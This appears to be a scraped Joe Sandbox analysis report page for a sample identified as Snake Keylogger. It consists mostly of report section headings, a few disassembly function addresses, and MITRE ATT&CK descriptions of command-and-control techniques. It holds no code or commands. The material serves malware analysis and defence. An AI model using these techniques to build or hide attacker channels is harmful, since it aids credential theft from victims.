Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report QUOTATION_NOVQTRA071244PDF.scr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
QUOTATION_NOVQTRA071244PDF.scr.exe

Function 00007FFD9BAB1535 Relevance: 1.6, APIs: 1, Instructions: 128
COMMON

Function 00007FFD9BA97C29 Relevance: .9, Instructions: 914
COMMON

Function 00007FFD9BA94C41 Relevance: .9, Instructions: 888
COMMON

Function 00007FFD9BA919E1 Relevance: .8, Instructions: 839
COMMON

Function 00007FFD9B9D3B05 Relevance: 1.7, Strings: 1, Instructions: 477
COMMON

Function 00007FFD9B89C037 Relevance: 1.6, Strings: 1, Instructions: 362
COMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre